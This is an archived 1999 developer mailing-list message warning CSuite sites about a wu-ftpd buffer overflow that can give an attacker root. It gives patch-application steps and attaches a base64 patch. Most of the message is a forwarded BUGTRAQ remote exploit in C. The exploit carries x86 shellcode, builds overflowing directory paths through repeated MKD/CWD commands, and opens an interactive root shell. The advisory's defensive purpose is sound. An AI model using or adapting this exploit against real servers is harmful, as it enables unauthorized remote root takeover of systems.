CSuite wu-ftpd patch (was: ftp exploit)

Date: Fri, 26 Mar 1999 17:17:59 -0400 (AST)
From: Michael Smith <michael@csuite.ns.ca>
To: csuite-dev@chebucto.ns.ca
Precedence: bulk
Return-Path: <csuite-dev-mml-owner@chebucto.ns.ca>

next message in archive
no next message in thread
previous message in archive
Index of Subjects


  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@docserver.cac.washington.edu for more info.

---1978089469-805892160-922237341=:2989
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Content-ID: <Pine.LNX.4.04.9903261709112.520@pentagram.nslug.ns.ca>

In the version of wu-ftpd included with CSuite 1.0 (that'd be
wu-2.4.2-academ[BETA-12]) and probably many other versions up to
BETA-18-VR10 (13?) there's a buffer overflow which could lead to an
attacker getting root.

We've prepared a patch for ftpd which should close the hole; I pulled it
out of the Red Hat package update. The patch is attached.

I pulled it out of the Red Hat package update.
CSuite sites can apply the attached patch with
	<export the patch to someone's home directory as realpath.c.patch>
	$ su root
	# cd /var/csuite/src/etc/ftpd/src
	# patch < ~/realpath.c.patch
	# make
	# cp ftpd /var/csuite/etc/ftpd/ftpd

Below is an exploit which was sent to the BUGTRAQ mailing list. I couldn't
make it work (possibly because of the dotfile filter in
/var/csuite/etc/ftpd/ftpaccess) but that doesn't necessarily mean we
aren't vulnerable, so you should still apply the patch.

---------- Forwarded message ----------
Date: Mon, 22 Mar 1999 17:10:23 +0100
From: Pieter Nieuwenhuijsen <pietern@XS4ALL.NL>
To: BUGTRAQ@netspace.org
Subject: ftp exploit

/*
        THIS IS PRIVATE! DO NOT DISTRIBUTE!!!!   PRIVATE!

        WU-FTPD REMOTE EXPLOIT Version wu-2.4.2-academ[BETA-18](1)
        for linux x86 (redhat 5.2)

        by duke
        duke@viper.net.au

        BIG thanks to stran9er for alot of help with part of the shellcode!
        i fear stran9er, but who doesn't? !@$ :)

        Greets to: #!ADM, el8.org users,

        To exploit this remotely they need to have a directory you can
        have write privlidges to.. this is the <dir> argument.. you can
        also use this locally by specifying -l <ur login> -p <urpass> with the
        <dir> = your home directory or something..(must begin with '/')
        also alignment arg is how return address  is aligned.. shouldnt need it,
        but if u do it should be between 0 and 3

        It takes about 10 seconds after "logged in" so be patient.
        -duke
*/

#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
//#include <linux/time.h>
//#include <sys/select.h>
#include <sys/time.h>
#include <unistd.h>

#define RET 0xbfffa80f

void logintoftp();
void sh();
void mkd(char *);
int max(int, int);
long getip(char *name);

char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\xb0\x17\xcd\x80"
"\x31\xc0\x31\xdb\xb0\x2e\xcd\x80"
"\xeb\x4f\x31\xc0\x31\xc9\x5e\xb0\x27\x8d\x5e\x05\xfe\xc5\xb1\xed"
"\xcd\x80\x31\xc0\x8d\x5e\x05\xb0\x3d\xcd\x80\x31\xc0\xbb\xd2\xd1"
"\xd0\xff\xf7\xdb\x31\xc9\xb1\x10\x56\x01\xce\x89\x1e\x83\xc6\x03"
"\xe0\xf9\x5e\xb0\x3d\x8d\x5e\x10\xcd\x80\x31\xc0\x88\x46\x07\x89"
"\x76\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd"
"\x80\xe8\xac\xff\xff\xff";

char tmp[256];
char name[128], pass[128];

int sockfd;

int main(int argc, char **argv)
{
        char sendln[1024], recvln[4048], buf1[800], buf2[1000];
        char *p, *q, arg, **fakeargv = (char **) malloc(sizeof(char *)*(argc + 1));
        int len, offset = 0, i, align=0;
        struct sockaddr_in cli;

        if(argc < 3){
                printf("usage: %s <host> <dir> [-l name] [-p pass] [-a <alignment>] [-o offset]\n", argv[0]);
                exit(0);
        }

        for(i=0; i < argc; i++) {
          fakeargv[i] = (char *)malloc(strlen(argv[i]) + 1);
          strncpy(fakeargv[i], argv[i], strlen(argv[i]) + 1);
        }

        fakeargv[argc] = NULL;


        while((arg = getopt(argc,fakeargv,"l:p:a:o:")) != EOF){
            switch(arg) {
                  case 'l':
                     strncpy(name,optarg,128);
                     break;
                  case 'p':
                     strncpy(pass,optarg,128);
                     break;
                  case 'a':
                     align=atoi(optarg);
                     break;
                  case 'o':
                     offset=atoi(optarg);
                     break;
                  default:
                     printf("usage: %s <host> <dir> [-l name] [-p pass] [-a <alignment>] [-o offset]\n", argv[0]);
                     exit(0);
                     break;
             }
        }

        if(name[0] == 0) strcpy(name, "anonymous");
        if(pass[0] == 0) strcpy(pass, "hi@blahblah.net");


        bzero(&cli, sizeof(cli));
        bzero(recvln, sizeof(recvln));
        bzero(sendln, sizeof(sendln));
        cli.sin_family = AF_INET;
        cli.sin_port = htons(21);
        cli.sin_addr.s_addr=getip(argv[1]);

        if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
                perror("socket");
                exit(0);
        }

        if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0){
                perror("connect");
                exit(0);
        }
        while((len = read(sockfd, recvln, sizeof(recvln))) > 0){
                recvln[len] = '\0';
                if(strchr(recvln, '\n') != NULL)
                        break;
        }
        logintoftp(sockfd);
        printf("logged in.\n");
        bzero(sendln, sizeof(sendln));

        for(i=align; i<996; i+=4)
                *(long *)&buf2[i] = RET + offset;
        memcpy(buf2, "a", align);
        memset(buf1, 0x90, 800);
        memcpy(buf1, argv[2], strlen(argv[2]));
        mkd(argv[2]);
        p = &buf1[strlen(argv[2])];
        q = &buf1[799];
        *q = '\x0';
        while(p <= q){
                strncpy(tmp, p, 200);
                mkd(tmp);
                p+=200;
        }
        mkd(shellcode);
        mkd("bin");
        mkd("sh");
        p = &buf2[0];
        q = &buf2[999];
        while(p <= q){
                strncpy(tmp, p, 250);
                mkd(tmp);
                p+=250;
        }
        sh(sockfd);


        close(sockfd);
        printf("finit.\n");
}

void mkd(char *dir)
{
        char snd[512], rcv[1024];
        char blah[1024], *p;
        int n;
        struct timeval tv;

        fd_set fds;
        bzero(&tv, sizeof(tv));
        tv.tv_usec=50;
        bzero(blah, sizeof(blah));
        p = blah;
         for(n=0; n<strlen(dir); n++){
                if(dir[n] == '\xff'){
                        *p = '\xff';
                        p++;
                }
                *p = dir[n];
                p++;
        }
        sprintf(snd, "MKD %s\r\n", blah);
        write(sockfd, snd, strlen(snd));
        bzero(snd, sizeof(snd));
        sprintf(snd, "CWD %s\r\n", blah);
        write(sockfd, snd, strlen(snd));
        bzero(rcv, sizeof(rcv));

        FD_ZERO(&fds);
        FD_SET(sockfd,&fds);
        select(sockfd+1,&fds,NULL,NULL,&tv);

        if (FD_ISSET(sockfd,&fds))
                while((n = read(sockfd, rcv, sizeof(rcv))) > 0){
                        rcv[n] = 0;
                        if(strchr(rcv, '\n') != NULL)
                                break;
                }
        return;
}

void logintoftp()
{
        char snd[1024], rcv[1024];
        int n;

        printf("logging in with %s: %s\n", name, pass);
        memset(snd, '\0', 1024);
        sprintf(snd, "USER %s\r\n", name);
        write(sockfd, snd, strlen(snd));

        while((n=read(sockfd, rcv, sizeof(rcv))) > 0){
                rcv[n] = 0;
                if(strchr(rcv, '\n') != NULL)
                        break;
        }

        memset(snd, '\0', 1024);
        sprintf(snd, "PASS %s\r\n", pass);
        write(sockfd, snd, strlen(snd));

        while((n=read(sockfd, rcv, sizeof(rcv))) > 0){
                rcv[n] = 0;
                if(strchr(rcv, '\n') != NULL)
                        break;
        }
        return;
}

void sh()
{
        char snd[1024], rcv[1024];
        fd_set rset;
        int maxfd, n;

        strcpy(snd, "cd /; uname -a; pwd; id;\n");
        write(sockfd, snd, strlen(snd));

        for(;;){
                FD_SET(fileno(stdin), &rset);
                FD_SET(sockfd, &rset);
                maxfd = max(fileno(stdin), sockfd) + 1;
                select(maxfd, &rset, NULL, NULL, NULL);
                if(FD_ISSET(fileno(stdin), &rset)){
                        bzero(snd, sizeof(snd));
                        fgets(snd, sizeof(snd)-2, stdin);
                        write(sockfd, snd, strlen(snd));
                }
                if(FD_ISSET(sockfd, &rset)){
                        bzero(rcv, sizeof(rcv));
                        if((n = read(sockfd, rcv, sizeof(rcv))) == 0){
                                printf("EOF.\n");
                                exit(0);
                        }
                        if(n < 0){
                                perror("read");
                                exit(-1);
                        }
                        fputs(rcv, stdout);
                }
        }
}

int max(int x, int y)
{
        if(x > y)
                return(x);
        return(y);
}

long getip(char *name)
{
        struct hostent *hp;
        long ip;

        if ((ip=inet_addr(name))==-1)
        {
                if ((hp=gethostbyname(name))==NULL)
                {
                        fprintf(stderr,"Can't resolve host.\n");
                        exit (1);
                }
                memcpy(&ip, (hp->h_addr), 4);
        }
        return ip;
}

---1978089469-805892160-922237341=:2989
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII; NAME="realpath.c.patch"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.04.9903232102210.2989@pentagram.nslug.ns.ca>
Content-Description: 
Content-Disposition: ATTACHMENT; FILENAME="realpath.c.patch"

LS0tIHJlYWxwYXRoLmMub3JpZwlUdWUgRmViIDE4IDEyOjQ2OjE4IDE5OTcN
CisrKyByZWFscGF0aC5jCVR1ZSBNYXIgMjMgMjA6Mzc6MTUgMTk5OQ0KQEAg
LTE0MSw5ICsxNDEsMTkgQEANCiAgICAgICAgIHN0cmNweShuYW1lYnVmLCB3
b3JrcGF0aCk7DQogICAgICAgICBmb3IgKGxhc3QgPSBuYW1lYnVmOyAqbGFz
dDsgbGFzdCsrKQ0KICAgICAgICAgICAgIGNvbnRpbnVlOw0KLSAgICAgICAg
aWYgKCotLWxhc3QgIT0gJy8nKQ0KKy8qIG1pY2hhZWxAY3N1aXRlIDIzIG1h
ciAxOTk5IC0gbWVyZ2Ugc3RvY2sgQkVUQS0xOCAqLw0KKyAgICAgICAgaWYg
KChsYXN0ID09IG5hbWVidWYpIHx8ICgqLS1sYXN0ICE9ICcvJykpDQorLyog
L21pY2hhZWwgKi8NCiAgICAgICAgICAgICBzdHJjYXQobmFtZWJ1ZiwgIi8i
KTsNCi0gICAgICAgIHN0cmNhdChuYW1lYnVmLCB3aGVyZSk7DQorLyogbWlj
aGFlbCAtIG1lcmdlIHJlZGhhdCB3dS1mdHBkLTIuNC4yYjE4LTIgc2VjdXJp
dHkgcGF0Y2ggKi8NCisJaWYgKHN0cmxlbihuYW1lYnVmKStzdHJsZW4od2hl
cmUpIDwgc2l6ZW9mKG5hbWVidWYpKSB7DQorCSAgICBzdHJjYXQobmFtZWJ1
Ziwgd2hlcmUpOw0KKwl9IGVsc2Ugew0KKwkgICAgLyogVGhlIHBhdGggbmFt
ZSBpcyB0b28gbG9uZy4uLiBiYWlsIG91dCAqLw0KKwkgICAgc3RyY3B5KHJl
c3VsdCwgIlwwIik7DQorCSAgICByZXR1cm4gTlVMTDsNCisJfQ0KKy8qIC9t
aWNoYWVsICovDQogDQogICAgICAgICB3aGVyZSA9ICsrcHRyOw0KICAgICAg
ICAgaWYgKGxzdGF0KG5hbWVidWYsICZzYnVmKSA9PSAtMSkgew0KQEAgLTE2
NCw3ICsxNzQsMTUgQEANCiAgICAgICAgICAgICAgICAgKndvcmtwYXRoID0g
J1wwJzsNCiAgICAgICAgICAgICBpZiAoKndoZXJlKSB7DQogICAgICAgICAg
ICAgICAgIHN0cmNhdChsaW5rcGF0aCwgIi8iKTsNCi0gICAgICAgICAgICAg
ICAgc3RyY2F0KGxpbmtwYXRoLCB3aGVyZSk7DQorLyogbWljaGFlbEBjc3Vp
dGUgMjMgbWFyIDE5OTkgLSBtZXJnZSByZWRoYXQgd3UtZnRwZC0yLjQuMmIx
OC0yLjEgc2VjIHBhdGNoICovDQorCQlpZiAoc3RybGVuKGxpbmtwYXRoKSAr
IHN0cmxlbih3aGVyZSkgPCBzaXplb2YobGlua3BhdGgpKSB7DQorCQkgICAg
c3RyY2F0KGxpbmtwYXRoLCB3aGVyZSk7DQorCQl9IGVsc2Ugew0KKwkJICAg
IC8qIHBhdGggdG9vIGxvbmcuLi4gYmFpbCBvdXQgLS1jcmlzdGlhbmcgKi8N
CisJCSAgICBzdHJjcHkocmVzdWx0LCAiXDAiKTsNCisJCSAgICByZXR1cm4o
TlVMTCk7DQorCQl9DQorLyogL21pY2hhZWwgKi8NCiAgICAgICAgICAgICB9
DQogICAgICAgICAgICAgc3RyY3B5KGN1cnBhdGgsIGxpbmtwYXRoKTsNCiAg
ICAgICAgICAgICBnb3RvIGxvb3A7DQo=
---1978089469-805892160-922237341=:2989--

next message in archive
no next message in thread
previous message in archive
Index of Subjects